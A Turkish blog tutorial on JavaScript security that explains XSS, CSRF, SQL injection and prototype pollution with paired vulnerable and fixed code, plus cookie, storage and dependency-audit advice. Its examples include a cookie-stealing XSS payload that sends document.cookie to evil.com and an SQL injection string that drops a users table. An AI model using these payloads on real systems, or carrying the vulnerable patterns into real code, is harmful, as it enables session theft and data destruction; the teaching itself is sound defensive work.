İçeriğe geç
JavaScript

JavaScript Güvenlik: XSS, CSRF ve Korunma

Tarık Tunç
JavaScript Güvenlik: XSS, CSRF ve Korunma

JavaScript Güvenlik: XSS, CSRF ve Korunma

Web uygulamaları, çeşitli güvenlik tehditlerine karşı savunmasız olabilir. Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), injection saldırıları ve veri sızıntıları en yaygın tehditler arasındadır. Bu rehberde JavaScript uygulamalarındaki güvenlik açıklarını, saldırı vektörlerini ve korunma yöntemlerini detaylı şekilde inceleyeceğiz.

XSS (Cross-Site Scripting)

XSS, saldırganın kötü niyetli JavaScript kodunu web sayfasına enjekte etmesidir. Üç ana türü vardır:

1. Stored XSS (Kalıcı)

// Kötü: Kullanıcı girdisi doğrudan HTML'e ekleniyor
const comment = getUserComment(); // "<script>document.location='https://evil.com?cookie='+document.cookie</script>"
element.innerHTML = comment; // XSS! Script çalışır

// İyi: Metin olarak ekle
element.textContent = comment; // Güvenli, HTML olarak yorumlanmaz

// İyi: HTML encode et
function escapeHtml(str) {
  const div = document.createElement('div');
  div.textContent = str;
  return div.innerHTML;
}

element.innerHTML = escapeHtml(comment);

2. Reflected XSS

// Kötü: URL parametresini doğrudan kullanma
// URL: https://site.com/search?q=<script>alert('XSS')</script>
const query = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `Sonuçlar: ${query}`; // XSS!

// İyi: Sanitize et
document.getElementById('results').textContent = `Sonuçlar: ${query}`;

3. DOM-based XSS

// Kötü: Güvenilmeyen kaynaktan gelen veriyi tehlikeli sink'lerde kullanma
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // XSS!

// Kötü: eval kullanımı
const userInput = getInput();
eval(userInput); // Asla eval kullanmayın!

// Kötü: Dinamik script oluşturma
const script = document.createElement('script');
script.textContent = userInput; // Tehlikeli!

// İyi: Güvenli alternatifler
document.getElementById('content').textContent = hash;
const data = JSON.parse(userInput); // eval yerine JSON.parse
Uyarı: innerHTML, outerHTML, document.write(), eval(), setTimeout(string) ve new Function(string) XSS'e açık tehlikeli sink'lerdir. Bu API'leri kullanıcı girdisiyle asla kullanmayın.

XSS Korunma Yöntemleri

// 1. DOMPurify ile HTML sanitizasyonu
import DOMPurify from 'dompurify';

const dirtyHtml = userInput; // Güvenilmeyen HTML
const cleanHtml = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'title'],
});
element.innerHTML = cleanHtml;

// 2. Template literal ile güvenli HTML
function html(strings, ...values) {
  return strings.reduce((result, string, i) => {
    const value = values[i - 1];
    const escaped = typeof value === 'string' ? escapeHtml(value) : value;
    return result + escaped + string;
  });
}

const userName = '<script>alert("XSS")</script>';
element.innerHTML = html`<p>Hoşgeldin, ${userName}</p>`;
// Output: <p>Hoşgeldin, &lt;script&gt;alert("XSS")&lt;/script&gt;</p>

// 3. Trusted Types API (CSP ile birlikte)
if (window.trustedTypes) {
  const policy = trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input),
    createScriptURL: (input) => {
      const url = new URL(input, location.origin);
      if (url.origin !== location.origin) throw new Error('Güvenilmeyen URL');
      return url.toString();
    },
  });
}

CSRF (Cross-Site Request Forgery)

CSRF, kullanıcının oturum bilgilerini kullanarak istenmeyen istekler gönderilmesidir:

// CSRF korunma: Token tabanlı
// Sunucu tarafı (Next.js API route)
import { randomBytes } from 'crypto';

// Token oluştur
function generateCSRFToken() {
  return randomBytes(32).toString('hex');
}

// API route'da doğrulama
export async function POST(request) {
  const token = request.headers.get('X-CSRF-Token');
  const sessionToken = getSessionCSRFToken(request);

  if (!token || token !== sessionToken) {
    return Response.json({ error: 'CSRF token geçersiz' }, { status: 403 });
  }

  // İşlemi devam ettir...
}

// İstemci tarafı: Her istekte token gönder
async function secureFetch(url, options = {}) {
  const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;

  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      'X-CSRF-Token': csrfToken,
    },
    credentials: 'same-origin',
  });
}

SameSite Cookie Koruması

// Sunucu tarafı cookie ayarı
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

// Next.js'te cookie ayarlama
import { cookies } from 'next/headers';

export async function POST() {
  const cookieStore = await cookies();
  cookieStore.set('session', sessionId, {
    httpOnly: true,     // JavaScript erişimini engeller
    secure: true,       // Sadece HTTPS
    sameSite: 'strict', // Cross-site isteklerde gönderilmez
    maxAge: 3600,       // 1 saat
    path: '/',
  });
}

Injection Saldırıları

// SQL Injection - Kötü (parametreli sorgu kullanmamak)
const query = `SELECT * FROM users WHERE email = '${userEmail}'`;
// userEmail = "'; DROP TABLE users; --" olabilir!

// Doğru: Parametreli sorgu (Prisma)
const user = await prisma.user.findUnique({
  where: { email: userEmail },
});

// Prototype Pollution koruması
// Kötü: Derin merge kontrolsüz
function unsafeMerge(target, source) {
  for (const key in source) {
    target[key] = source[key]; // __proto__ manipülasyonuna açık
  }
}

// İyi: __proto__ ve constructor kontrolü
function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      continue; // Tehlikeli anahtarları atla
    }
    if (typeof source[key] === 'object' && source[key] !== null) {
      target[key] = safeMerge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
Bilgi: Prototype pollution, JavaScript nesnelerinin prototip zincirini manipüle ederek uygulama davranışını değiştiren bir saldırı türüdür. Kullanıcı girdisiyle nesne birleştirme yapıyorsanız özellikle dikkatli olun.

Güvenli Veri Saklama

// localStorage'da hassas veri SAKLAMAYIN
// Kötü
localStorage.setItem('authToken', jwtToken); // XSS ile çalınabilir

// İyi: HttpOnly cookie kullanın
// Token sunucu tarafında HttpOnly cookie'de saklanır

// Eğer client-side storage zorunluysa, şifreleyin
async function encryptData(data, key) {
  const iv = crypto.getRandomValues(new Uint8Array(12));
  const encoded = new TextEncoder().encode(JSON.stringify(data));

  const encrypted = await crypto.subtle.encrypt(
    { name: 'AES-GCM', iv },
    key,
    encoded
  );

  return {
    iv: Array.from(iv),
    data: Array.from(new Uint8Array(encrypted)),
  };
}

// Hassas verileri loglamayın
console.log('Kullanıcı girişi:', { email, password: '***' }); // Şifreyi gizle

Bağımlılık Güvenliği

# npm audit ile güvenlik taraması
npm audit
npm audit fix

# Snyk ile detaylı tarama
npx snyk test

# Lockfile integrity kontrolü
npm ci  # package-lock.json'a sadık kalır

# GitHub Dependabot (otomatik güncelleme)
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
İpucu: npm audit komutunu CI/CD pipeline'ınıza ekleyin ve kritik güvenlik açığı bulunduğunda build'in başarısız olmasını sağlayın.

Güvenlik Kontrol Listesi

  1. Kullanıcı girdisini her zaman sanitize/escape edin
  2. innerHTML yerine textContent tercih edin
  3. CSP (Content Security Policy) başlıklarını yapılandırın
  4. CSRF token'ları uygulayın
  5. Cookie'leri HttpOnly, Secure, SameSite bayraklarıyla ayarlayın
  6. eval() ve new Function() kullanmayın
  7. Bağımlılıkları düzenli olarak denetleyin
  8. HTTPS zorunlu kılın
  9. Hassas verileri localStorage'da saklamayın
  10. Hata mesajlarında sistem bilgisi ifşa etmeyin

Sonuç

JavaScript güvenliği, kullanıcı girdisine güvenmemek ilkesiyle başlar. XSS'i önlemek için girdileri sanitize edin ve DOM API'lerini dikkatli kullanın, CSRF'ye karşı token ve SameSite cookie'ler uygulayın, injection saldırılarına karşı parametreli sorgular ve güvenli merge fonksiyonları kullanın. Güvenlik sürekli bir süreçtir; bağımlılıklarınızı düzenli denetleyin ve güncel tehditleri takip edin.

Kaynaklar

İlgili Yazılar